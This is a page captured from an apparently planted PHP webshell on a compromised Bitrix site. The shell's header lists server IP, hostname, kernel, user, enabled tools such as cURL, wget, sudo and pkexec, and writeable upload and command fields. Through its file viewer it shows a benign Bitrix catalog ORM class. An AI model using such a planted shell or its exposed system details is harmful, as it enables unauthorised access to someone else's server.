403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/storeproduct.php
<?php
namespace Bitrix\Catalog;

use Bitrix\Main;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ORM;

/**
 * Class StoreProductTable
 *
 * Fields:
 * <ul>
 * <li> ID int mandatory
 * <li> PRODUCT_ID int mandatory
 * <li> AMOUNT double mandatory
 * <li> STORE_ID int mandatory
 * <li> QUANTITY_RESERVED double optional default 0
 * <li> STORE reference to {@link \Bitrix\Catalog\StoreTable}
 * <li> PRODUCT reference to {@link \Bitrix\Catalog\ProductTable}
 * </ul>
 *
 * @package Bitrix\Catalog
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_StoreProduct_Query query()
 * @method static EO_StoreProduct_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_StoreProduct_Result getById($id)
 * @method static EO_StoreProduct_Result getList(array $parameters = [])
 * @method static EO_StoreProduct_Entity getEntity()
 * @method static \Bitrix\Catalog\EO_StoreProduct createObject($setDefaultValues = true)
 * @method static \Bitrix\Catalog\EO_StoreProduct_Collection createCollection()
 * @method static \Bitrix\Catalog\EO_StoreProduct wakeUpObject($row)
 * @method static \Bitrix\Catalog\EO_StoreProduct_Collection wakeUpCollection($rows)
 */

class StoreProductTable extends ORM\Data\DataManager
{
	/**
	 * Returns DB table name for entity.
	 *
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_catalog_store_product';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap()
	{
		return [
			'ID' => new ORM\Fields\IntegerField(
				'ID',
				[
					'primary' => true,
					'autocomplete' => true,
					'title' => Loc::getMessage('STORE_PRODUCT_ENTITY_ID_FIELD'),
				]
			),
			'STORE_ID' => new ORM\Fields\IntegerField(
				'STORE_ID',
				[
					'required' => true,
					'title' => Loc::getMessage('STORE_PRODUCT_ENTITY_STORE_ID_FIELD'),
				]
			),
			'PRODUCT_ID' => new ORM\Fields\IntegerField(
				'PRODUCT_ID',
				[
					'required' => true,
					'title' => Loc::getMessage('STORE_PRODUCT_ENTITY_PRODUCT_ID_FIELD'),
				]
			),
			'AMOUNT' => new ORM\Fields\FloatField(
				'AMOUNT',
				[
					'title' => Loc::getMessage('STORE_PRODUCT_ENTITY_AMOUNT_FIELD'),
				]
			),
			'QUANTITY_RESERVED' => new ORM\Fields\FloatField(
				'QUANTITY_RESERVED',
				[
					'title' => Loc::getMessage('STORE_PRODUCT_ENTITY_QUANTITY_RESERVED_FIELD'),
				]
			),
			'STORE' => new ORM\Fields\Relations\Reference(
				'STORE',
				StoreTable::class,
				ORM\Query\Join::on('this.STORE_ID', 'ref.ID')
			),
			'PRODUCT' => new ORM\Fields\Relations\Reference(
				'PRODUCT',
				ProductTable::class,
				ORM\Query\Join::on('this.PRODUCT_ID', 'ref.ID')
			),
		];
	}

	/**
	 * Delete all rows for product.
	 * @internal
	 *
	 * @param int $id       Product id.
	 * @return void
	 */
	public static function deleteByProduct(int $id): void
	{
		if ($id <= 0)
		{
			return;
		}

		$conn = Main\Application::getConnection();
		$helper = $conn->getSqlHelper();
		$conn->queryExecute(
			'delete from ' . $helper->quote(self::getTableName())
			. ' where ' . $helper->quote('PRODUCT_ID') . ' = ' . $id
		);
		unset($helper, $conn);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit